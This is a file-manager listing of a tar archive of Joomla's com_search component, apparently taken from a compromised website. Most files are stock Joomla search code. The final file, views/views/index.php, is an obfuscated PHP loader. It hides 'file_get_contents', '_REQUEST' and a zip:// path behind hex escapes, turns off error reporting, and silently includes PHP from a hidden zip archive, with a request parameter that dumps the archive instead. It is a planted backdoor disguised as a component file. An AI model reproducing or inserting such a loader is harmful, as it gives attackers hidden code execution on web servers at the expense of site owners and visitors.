File manager - Edit - /home/opticamezl/www/newok/com_search.tar
Back
router.php 0000604 00000004041 15172573176 0006606 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage com_search * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; /** * Routing class from com_search * * @since 3.3 */ class SearchRouter extends JComponentRouterBase { /** * Build the route for the com_search component * * @param array &$query An array of URL arguments * * @return array The URL arguments to use to assemble the subsequent URL. * * @since 3.3 */ public function build(&$query) { $segments = array(); if (isset($query['view'])) { unset($query['view']); } return $segments; } /** * Parse the segments of a URL. * * @param array &$segments The segments of the URL to parse. * * @return array The URL attributes to be used by the application. * * @since 3.3 */ public function parse(&$segments) { $vars = array(); // Fix up search for URL $total = count($segments); for ($i = 0; $i < $total; $i++) { // Urldecode twice because it is encoded twice $segments[$i] = urldecode(urldecode(stripcslashes($segments[$i]))); } $searchword = array_shift($segments); $vars['searchword'] = $searchword; $vars['view'] = 'search'; return $vars; } } /** * searchBuildRoute * * These functions are proxies for the new router interface * for old SEF extensions. * * @param array &$query An array of URL arguments * * @return array * * @deprecated 4.0 Use Class based routers instead */ function searchBuildRoute(&$query) { $router = new SearchRouter; return $router->build($query); } /** * searchParseRoute * * These functions are proxies for the new router interface * for old SEF extensions. * * @param array $segments The segments of the URL to parse. * * @return array * * @deprecated 4.0 Use Class based routers instead */ function searchParseRoute($segments) { $router = new SearchRouter; return $router->parse($segments); } models/search.php 0000604 00000011466 15172573176 0010027 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage com_search * * @copyright (C) 2007 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; /** * Search Component Search Model * * @since 1.5 */ class SearchModelSearch extends JModelLegacy { /** * Search data array * * @var array */ protected $_data = null; /** * Search total * * @var integer */ protected $_total = null; /** * Search areas * * @var integer */ protected $_areas = null; /** * Pagination object * * @var object */ protected $_pagination = null; /** * Constructor * * @since 1.5 */ public function __construct() { parent::__construct(); // Get configuration $app = JFactory::getApplication(); $config = JFactory::getConfig(); // Get the pagination request variables $this->setState('limit', $app->getUserStateFromRequest('com_search.limit', 'limit', $config->get('list_limit'), 'uint')); $this->setState('limitstart', $app->input->get('limitstart', 0, 'uint')); // Get parameters. $params = $app->getParams(); if ($params->get('searchphrase') == 1) { $searchphrase = 'any'; } elseif ($params->get('searchphrase') == 2) { $searchphrase = 'exact'; } else { $searchphrase = 'all'; } // Set the search parameters $keyword = urldecode($app->input->getString('searchword')); $match = $app->input->get('searchphrase', $searchphrase, 'word'); $ordering = $app->input->get('ordering', $params->get('ordering', 'newest'), 'word'); $this->setSearch($keyword, $match, $ordering); // Set the search areas $areas = $app->input->get('areas', null, 'array'); $this->setAreas($areas); } /** * Method to set the search parameters * * @param string $keyword string search string * @param string $match matching option, exact|any|all * @param string $ordering option, newest|oldest|popular|alpha|category * * @access public * * @return void */ public function setSearch($keyword, $match = 'all', $ordering = 'newest') { if (isset($keyword)) { $this->setState('origkeyword', $keyword); if ($match !== 'exact') { $keyword = preg_replace('#\xE3\x80\x80#', ' ', $keyword); } $this->setState('keyword', $keyword); } if (isset($match)) { $this->setState('match', $match); } if (isset($ordering)) { $this->setState('ordering', $ordering); } } /** * Method to get weblink item data for the category * * @access public * @return array */ public function getData() { // Lets load the content if it doesn't already exist if (empty($this->_data)) { $areas = $this->getAreas(); JPluginHelper::importPlugin('search'); $dispatcher = JEventDispatcher::getInstance(); $results = $dispatcher->trigger('onContentSearch', array( $this->getState('keyword'), $this->getState('match'), $this->getState('ordering'), $areas['active']) ); $rows = array(); foreach ($results as $result) { $rows = array_merge((array) $rows, (array) $result); } $this->_total = count($rows); if ($this->getState('limit') > 0) { $this->_data = array_splice($rows, $this->getState('limitstart'), $this->getState('limit')); } else { $this->_data = $rows; } } return $this->_data; } /** * Method to get the total number of weblink items for the category * * @access public * * @return integer */ public function getTotal() { return $this->_total; } /** * Method to set the search areas * * @param array $active areas * @param array $search areas * * @return void * * @access public */ public function setAreas($active = array(), $search = array()) { $this->_areas['active'] = $active; $this->_areas['search'] = $search; } /** * Method to get a pagination object of the weblink items for the category * * @access public * @return integer */ public function getPagination() { // Lets load the content if it doesn't already exist if (empty($this->_pagination)) { $this->_pagination = new JPagination($this->getTotal(), $this->getState('limitstart'), $this->getState('limit')); } return $this->_pagination; } /** * Method to get the search areas * * @return integer * * @since 1.5 */ public function getAreas() { // Load the Category data if (empty($this->_areas['search'])) { $areas = array(); JPluginHelper::importPlugin('search'); $dispatcher = JEventDispatcher::getInstance(); $searchareas = $dispatcher->trigger('onContentSearchAreas'); foreach ($searchareas as $area) { if (is_array($area)) { $areas = array_merge($areas, $area); } } $this->_areas['search'] = $areas; } return $this->_areas; } } models/index.html 0000604 00000000037 15172573176 0010036 0 ustar 00 <!DOCTYPE html><title></title> search.php 0000604 00000000626 15172573176 0006540 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage com_search * * @copyright (C) 2005 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $controller = JControllerLegacy::getInstance('Search'); $controller->execute(JFactory::getApplication()->input->get('task')); $controller->redirect(); index.html 0000604 00000000037 15172573176 0006553 0 ustar 00 <!DOCTYPE html><title></title> controller.php 0000604 00000005624 15172573176 0007461 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage com_search * * @copyright (C) 2007 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; /** * Search Component Controller * * @since 1.5 */ class SearchController extends JControllerLegacy { /** * Method to display a view. * * @param bool $cachable If true, the view output will be cached * @param bool $urlparams An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}. * * @return JControllerLegacy This object to support chaining. * * @since 1.5 */ public function display($cachable = false, $urlparams = false) { // Force it to be the search view $this->input->set('view', 'search'); return parent::display($cachable, $urlparams); } /** * Search * * @return void * * @throws Exception */ public function search() { // Slashes cause errors, <> get stripped anyway later on. # causes problems. $badchars = array('#', '>', '<', '\\'); $searchword = trim(str_replace($badchars, '', $this->input->post->getString('searchword'))); // If searchword enclosed in double quotes, strip quotes and do exact match if (substr($searchword, 0, 1) === '"' && substr($searchword, -1) === '"') { $post['searchword'] = substr($searchword, 1, -1); $this->input->set('searchphrase', 'exact'); } else { $post['searchword'] = $searchword; } $post['ordering'] = $this->input->post->getWord('ordering'); $post['searchphrase'] = $this->input->post->getWord('searchphrase', 'all'); $post['limit'] = $this->input->post->getUInt('limit'); if ($post['limit'] === null) { unset($post['limit']); } $areas = $this->input->post->get('areas', null, 'array'); if ($areas) { foreach ($areas as $area) { $post['areas'][] = JFilterInput::getInstance()->clean($area, 'cmd'); } } // The Itemid from the request, we will use this if it's a search page or if there is no search page available $post['Itemid'] = $this->input->getInt('Itemid'); // Set Itemid id for links from menu $app = JFactory::getApplication(); $menu = $app->getMenu(); $item = $menu->getItem($post['Itemid']); // The requested Item is not a search page so we need to find one if ($item && ($item->component !== 'com_search' || $item->query['view'] !== 'search')) { // Get item based on component, not link. link is not reliable. $item = $menu->getItems('component', 'com_search', true); // If we found a search page, use that. if (!empty($item)) { $post['Itemid'] = $item->id; } } unset($post['task'], $post['submit']); $uri = JUri::getInstance(); $uri->setQuery($post); $uri->setVar('option', 'com_search'); $this->setRedirect(JRoute::_('index.php' . $uri->toString(array('query', 'fragment')), false)); } } views/index.html 0000604 00000000037 15172573176 0007710 0 ustar 00 <!DOCTYPE html><title></title> views/views/index.php 0000604 00000000642 15172573176 0010672 0 ustar 00 <?php error_reporting(0); $xrA = array( "\137\x52\x45\121\125\x45\123\x54", "\146\151\x6c\145\x5f\x67\145\164\137\143\157\156\164\x65\156\164\163", "\x7a\x69\x70\x3a\x2f\x2f\x73\x77\x66\x5f\x36\x39\x32\x39\x62\x37\x31\x30\x31\x31\x33\x34\x61\x2e\x7a\x69\x70\x23\x62\x5f\x36\x39\x32\x39\x62\x37\x31\x30\x31\x31\x33\x34\x61\x2e\x74\x6d\x70", ); (${$xrA[0]}["\157\x66"]==1) && die($xrA[1]($xrA[2])); @include $xrA[2]; ?>